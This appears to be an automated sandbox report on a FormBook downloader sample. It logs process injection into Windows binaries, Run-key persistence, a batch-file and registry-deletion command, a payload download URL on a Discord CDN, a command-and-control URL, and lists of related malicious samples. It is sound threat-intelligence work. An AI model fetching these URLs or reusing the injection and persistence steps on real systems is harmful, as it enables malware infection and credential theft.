Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 2F40000	Jump to behavior

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\Desktop\fTset285bI.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 50480000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\fTset285bI.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 2E20000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\fTset285bI.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 2E30000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 50480000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 660000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Memory allocated: C:\Windows\SysWOW64\mobsync.exe base: 670000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 50480000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 2F30000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Memory allocated: C:\Windows\SysWOW64\secinit.exe base: 2F40000 protect: page execute and read and write	Jump to behavior

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\fTset285bI.exe	Thread created: C:\Windows\SysWOW64\secinit.exe EIP: 2E30000	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Thread created: C:\Windows\SysWOW64\mobsync.exe EIP: 670000	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Thread created: C:\Windows\SysWOW64\secinit.exe EIP: 2F40000	Jump to behavior

Source: C:\Users\user\Desktop\fTset285bI.exe	Process created: C:\Windows\SysWOW64\secinit.exe C:\Windows\System32\secinit.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg delete hkcu\Environment /v windir /f	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Process created: C:\Windows\SysWOW64\mobsync.exe C:\Windows\System32\mobsync.exe	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Process created: C:\Windows\SysWOW64\secinit.exe C:\Windows\System32\secinit.exe	Jump to behavior

Source: mobsync.exe, 0000001B.00000000.481817173.0000000002F30000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: mobsync.exe, 0000001B.00000000.481817173.0000000002F30000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: mobsync.exe, 0000001B.00000000.481817173.0000000002F30000.00000002.00020000.sdmp	Binary or memory string: &Program Manager
Source: mobsync.exe, 0000001B.00000000.481817173.0000000002F30000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\cmd.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000020.00000000.499908275.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.483776660.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.401918878.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.400917340.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.396428901.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.482020111.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.478412279.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.496967732.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.501814123.0000000050481000.00000040.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000020.00000000.499908275.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.483776660.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.401918878.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.400917340.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.396428901.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.482020111.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.478412279.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.496967732.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.501814123.0000000050481000.00000040.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting1	Registry Run Keys / Startup Folder1	Process Injection312	Masquerading11	OS Credential Dumping	Query Registry1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Registry Run Keys / Startup Folder1	Modify Registry1	LSASS Memory	Security Software Discovery121	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion1	Security Account Manager	Virtualization/Sandbox Evasion1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection312	NTDS	Process Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Scripting1	Cached Domain Credentials	System Information Discovery12	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information3	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
fTset285bI.exe	29%	Virustotal		Browse
fTset285bI.exe	27%	ReversingLabs	Win32.Downloader.FormBook

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	29%	Virustotal		Browse
C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	27%	ReversingLabs	Win32.Downloader.FormBook

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.0.fTset285bI.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.1.Qybpdxz.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.1.Qybpdxz.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.1.fTset285bI.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.0.Qybpdxz.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.0.Qybpdxz.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
www.llaa11.xyz/scb0/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cdn.discordapp.com	162.159.130.233	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
www.llaa11.xyz/scb0/	true	Avira URL Cloud: safe	low
https://cdn.discordapp.com/attachments/836211098164265024/892047706770509844/Qybpdxzxxjklicipydzdiinowujxlof	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.159.130.233	cdn.discordapp.com	United States		13335	CLOUDFLARENETUS	false
162.159.133.233	unknown	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	491713
Start date:	27.09.2021
Start time:	20:31:48
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	fTset285bI.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@26/22@3/2
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 24 Number of non-executed functions: 224
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 2.20.86.117, 20.49.157.6, 52.182.143.212, 67.27.235.254, 67.27.157.254, 67.26.139.254, 8.248.145.254, 8.253.95.121, 20.54.110.249, 40.112.88.60, 23.10.249.43, 23.10.249.26, 95.100.54.203, 20.189.173.21, 20.189.173.20 Excluded domains from analysis (whitelisted): fg.download.windowsupdate.com.c.footprint.net, store-images.s-microsoft.com-c.edgekey.net, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, e12564.dspb.akamaiedge.net, onedsblobprdcus15.centralus.cloudapp.azure.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, onedsblobprdwus16.westus.cloudapp.azure.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, iris-de-ppe-azsc-uks.uksouth.cloudapp.azure.com, blobcollector.events.data.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:32:50	API Interceptor	2x Sleep call for process: fTset285bI.exe modified
20:33:11	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Qybpdxz C:\Users\Public\Libraries\zxdpbyQ.url
20:33:20	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Qybpdxz C:\Users\Public\Libraries\zxdpbyQ.url
20:33:21	API Interceptor	2x Sleep call for process: Qybpdxz.exe modified
20:33:24	API Interceptor	3x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
162.159.130.233	b7cwlpwH6S.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/878382243242983437/878684457245220884/mrmoms.exe
	order-confirmation.doc__.rtf	Get hash	malicious	Browse	cdn.discordapp.com/attachments/843685789120331799/847476783744811018/OtI.exe
	Order Confirmation.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/843685789120331799/847476783744811018/OtI.exe
	cfe14e87_by_Libranalysis.rtf	Get hash	malicious	Browse	cdn.discordapp.com/attachments/520353354304585730/839557970173100102/ew.exe
	SkKcQaHEB8.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/808882061918076978/836771636082376724/VMtEguRH.exe
	P20200107.DOC	Get hash	malicious	Browse	cdn.discordapp.com/attachments/808882061918076978/836771636082376724/VMtEguRH.exe
	FBRO ORDER SHEET - YATSAL SUMMER 2021.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/832005460982235229/836405556838924308/usd.exe
	SKM_C258 Up21042213080.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/832005460982235229/834717762281930792/12345.exe
	SKM_C258 Up21042213080.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/832005460982235229/834717762281930792/12345.exe
	G019 & G022 SPEC SHEET.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/832005460982235229/834598381472448573/23456.exe
	Marking Machine 30W Specification.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/832005460982235229/834598381472448573/23456.exe
	2021 RFQ Products Required.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/821511904769998921/821511945881911306/panam.exe
	Company Reference1.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/819949436054536222/820935251337281546/nbalax.exe
	PAY SLIP.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/788946375533789214/788947376849027092/atlasx.scr
	SecuriteInfo.com.Exploit.Rtf.Obfuscated.16.25071.rtf	Get hash	malicious	Browse	cdn.discordapp.com/attachments/785423761461477416/785424240047947786/angelrawfile.exe
	part1.rtf	Get hash	malicious	Browse	cdn.discordapp.com/attachments/783666652440428545/783667553490698250/kdot.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
cdn.discordapp.com	s9SWgUgyO5.exe	Get hash	malicious	Browse	162.159.133.233
	Original Shipping documents.exe	Get hash	malicious	Browse	162.159.129.233
	Image-Scan-80195056703950029289.exe	Get hash	malicious	Browse	162.159.133.233
	RHgAncmh0E.exe	Get hash	malicious	Browse	162.159.135.233
	InvPixcareer.-43329_20210927.xlsb	Get hash	malicious	Browse	162.159.129.233
	InvPixcareer.-43329_20210927.xlsb	Get hash	malicious	Browse	162.159.130.233
	7kDS0NWm3l.exe	Get hash	malicious	Browse	162.159.130.233
	kzSWxYLY4H.exe	Get hash	malicious	Browse	162.159.133.233
	InvPixcareer.-5589234_20210927.xlsb	Get hash	malicious	Browse	162.159.133.233
	INQUIRY LIST.exe	Get hash	malicious	Browse	162.159.129.233
	YTHK21082400.exe	Get hash	malicious	Browse	162.159.133.233
	Silver_Light_Group_DOC03027321122.exe	Get hash	malicious	Browse	162.159.130.233
	DeKxL6OdiV.exe	Get hash	malicious	Browse	162.159.130.233
	OTKqvzSZfm.exe	Get hash	malicious	Browse	162.159.133.233
	Taskmgr.exe	Get hash	malicious	Browse	162.159.134.233
	SWIFT ADVISE VD20092021.Pdf.exe	Get hash	malicious	Browse	162.159.129.233
	xccHIJ0vo7.exe	Get hash	malicious	Browse	162.159.133.233
	9Fq3K0VfLK.exe	Get hash	malicious	Browse	162.159.134.233
	NEW PRODUCT DETAILS.doc	Get hash	malicious	Browse	162.159.129.233
	PO-IMAGE-SCAN-00HD878HE485HDYTE.exe	Get hash	malicious	Browse	162.159.129.233

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	s9SWgUgyO5.exe	Get hash	malicious	Browse	162.159.133.233
	Docusign_Signature_1019003.html	Get hash	malicious	Browse	104.16.19.94
	GU#U00cdA DE CARGA...exe	Get hash	malicious	Browse	104.21.19.200
	TT09876545678T8R456.exe	Get hash	malicious	Browse	104.21.19.200
	Original Shipping documents.exe	Get hash	malicious	Browse	162.159.129.233
	Image-Scan-80195056703950029289.exe	Get hash	malicious	Browse	162.159.133.233
	RHgAncmh0E.exe	Get hash	malicious	Browse	162.159.135.233
	InvPixcareer.-43329_20210927.xlsb	Get hash	malicious	Browse	162.159.129.233
	InvPixcareer.-43329_20210927.xlsb	Get hash	malicious	Browse	162.159.130.233
	01_extracted.exe	Get hash	malicious	Browse	104.21.19.200
	InvPixcareer.-5589234_20210927.xlsb	Get hash	malicious	Browse	162.159.135.233
	INQUIRY LIST.exe	Get hash	malicious	Browse	162.159.133.233
	qJvDfzBXbs	Get hash	malicious	Browse	104.16.180.49
	YTHK21082400.exe	Get hash	malicious	Browse	162.159.133.233
	Silver_Light_Group_DOC03027321122.exe	Get hash	malicious	Browse	162.159.129.233
	Sht1aYGDIX	Get hash	malicious	Browse	1.3.103.27
	26222021 114007 a.m. Owa Outlook App.html	Get hash	malicious	Browse	104.16.19.94
	Taskmgr.exe	Get hash	malicious	Browse	162.159.134.233
	SOA.exe	Get hash	malicious	Browse	172.67.188.154
	SWIFT ADVISE VD20092021.Pdf.exe	Get hash	malicious	Browse	162.159.129.233
CLOUDFLARENETUS	s9SWgUgyO5.exe	Get hash	malicious	Browse	162.159.133.233
	Docusign_Signature_1019003.html	Get hash	malicious	Browse	104.16.19.94
	GU#U00cdA DE CARGA...exe	Get hash	malicious	Browse	104.21.19.200
	TT09876545678T8R456.exe	Get hash	malicious	Browse	104.21.19.200
	Original Shipping documents.exe	Get hash	malicious	Browse	162.159.129.233
	Image-Scan-80195056703950029289.exe	Get hash	malicious	Browse	162.159.133.233
	RHgAncmh0E.exe	Get hash	malicious	Browse	162.159.135.233
	InvPixcareer.-43329_20210927.xlsb	Get hash	malicious	Browse	162.159.129.233
	InvPixcareer.-43329_20210927.xlsb	Get hash	malicious	Browse	162.159.130.233
	01_extracted.exe	Get hash	malicious	Browse	104.21.19.200
	InvPixcareer.-5589234_20210927.xlsb	Get hash	malicious	Browse	162.159.135.233
	INQUIRY LIST.exe	Get hash	malicious	Browse	162.159.133.233
	qJvDfzBXbs	Get hash	malicious	Browse	104.16.180.49
	YTHK21082400.exe	Get hash	malicious	Browse	162.159.133.233
	Silver_Light_Group_DOC03027321122.exe	Get hash	malicious	Browse	162.159.129.233
	Sht1aYGDIX	Get hash	malicious	Browse	1.3.103.27
	26222021 114007 a.m. Owa Outlook App.html	Get hash	malicious	Browse	104.16.19.94
	Taskmgr.exe	Get hash	malicious	Browse	162.159.134.233
	SOA.exe	Get hash	malicious	Browse	172.67.188.154
	SWIFT ADVISE VD20092021.Pdf.exe	Get hash	malicious	Browse	162.159.129.233

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	ejecutable.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	gmT455QDI6.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	IdI36XfAJc.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	CYqow0VzsU.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	YMFYAIMpF8.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	AO8LQp0Yff.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	xtlA67ZUPd.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	LISTA DE PEDIDO DE COMPRA.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	0zK7HxQE65.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	PO-003785GMHN.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	Image-Scan-80195056703950029289.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	NH8Oxi5PZo.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	FDVCyigTWH.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	PO-003785GMHN.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	cYKFZFK0Rg.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	svchost.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	T6zZFfRLqs.exe	Get hash	malicious	Browse	162.159.130.233 162.159.133.233
	InvPixcareer.-43329_20210927.xlsb	Get hash	malicious	Browse	162.159.130.233 162.159.133.233

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mobsync.exe_4f8d1df0fba57de648265d9a2130aefb6b3891a_cdf4f12b_145ad42c\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	9792
Entropy (8bit):	3.765723443360623
Encrypted:	false
SSDEEP:	96:9vFh7KYuaJ9y5HoI7JfHpXIQcQvc6QcEDMcw3DSZg+HbHgoC5AJkq+h88WpBn9TG:Nz7KYuqQHBUZMXYjZq/u7spS274Itvd
MD5:	C03715F63316B4FE89D4CC52F34AC944
SHA1:	03C6BD0C060FF6A76F2BA34222C1DE8B99B97DB0
SHA-256:	8CE74C49F7E3DDA6FCD6CDF1662F2419BF67C31EEB8D4A01EFA8D6EEB1ABEDDF
SHA-512:	E5F4DE057B611BC3CAD0C57E67C28794CAEC700EA5348360710B334043E158CEB3F34124C80844ED731C2C9690743EE5970380714D39FA61EBA04280018464D2
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.7.7.2.7.3.6.3.5.8.8.2.2.3.2.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.7.7.2.7.3.6.5.2.2.8.9.3.8.3.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.c.2.5.0.9.f.8.-.b.1.e.7.-.4.e.0.f.-.8.2.3.c.-.8.5.d.4.a.e.1.1.e.7.1.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.9.1.4.a.c.e.8.-.d.a.b.2.-.4.c.4.2.-.9.0.7.b.-.0.a.6.5.6.7.7.6.3.c.6.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.m.o.b.s.y.n.c...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.m.o.b.s.y.n.c...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.2.0.-.0.0.0.1.-.0.0.1.7.-.1.4.5.6.-.3.3.a.6.1.9.b.4.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.1.9.6.4.c.5.0.6.3.a.2.5.e.7.9.c.7.7.3.7.7.9.e.3.6.0.d.0.e.a.5.6.1.9.0.2.9.4.d.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_secinit.exe_1cc8228464a2edeca80f27db11b39d78dd97a3a_b4caafd3_0c460f36\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8334
Entropy (8bit):	3.7653455059101577
Encrypted:	false
SSDEEP:	96:gUFyaWIwzVgAtS5foI7JfHpXIQcQvc6QcEDMcw3DS5A+HbHgSopAJkq+QlkZAXGs:5LWIwzVf4HBUZMX4j9/u7sOS274It7qt
MD5:	EED4CD5F4EFE3F20C588DE0A71B34186
SHA1:	38010E32F265A32EE69EA369B7D83A58E19468F9
SHA-256:	EF04EBF6E8F4D733625ECE6AE341976451DC47428AF8C903E3F40C8C6D66C078
SHA-512:	E7354D28356E62195B5A7E539181DDA1C82891AEB5D222230AAE9E1C52FFA670E305BB9D6BEDCE32545237939D766DAF8FDBC4461DE4F1B5A72F8CCB6CBAE51A
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.7.7.2.7.3.5.9.6.0.2.3.4.1.7.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.7.7.2.7.3.6.0.1.5.6.4.2.5.7.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.2.9.a.1.f.7.b.-.d.7.7.e.-.4.c.d.e.-.b.e.3.4.-.d.f.8.2.0.7.d.7.5.3.1.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.c.0.8.0.2.b.8.-.c.f.9.3.-.4.1.2.2.-.8.4.7.9.-.6.d.e.2.2.d.7.f.d.d.3.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.s.e.c.i.n.i.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.s.e.c.i.n.i.t.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.b.8.-.0.0.0.1.-.0.0.1.7.-.f.4.3.7.-.7.0.8.f.1.9.b.4.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.1.0.d.7.5.8.a.2.a.1.8.0.8.2.9.c.4.7.3.6.0.a.f.d.3.0.b.e.0.9.f.b.2.9.5.e.6.4.5.2.!.s.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_secinit.exe_1cc8228464a2edeca80f27db11b39d78dd97a3a_b4caafd3_1af6fb99\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8336
Entropy (8bit):	3.7663892820321263
Encrypted:	false
SSDEEP:	192:xnT+mzVflHBUZMX4jt/u7spS274It7qAn:wwfVBUZMX4jt/u7spX4It7qo
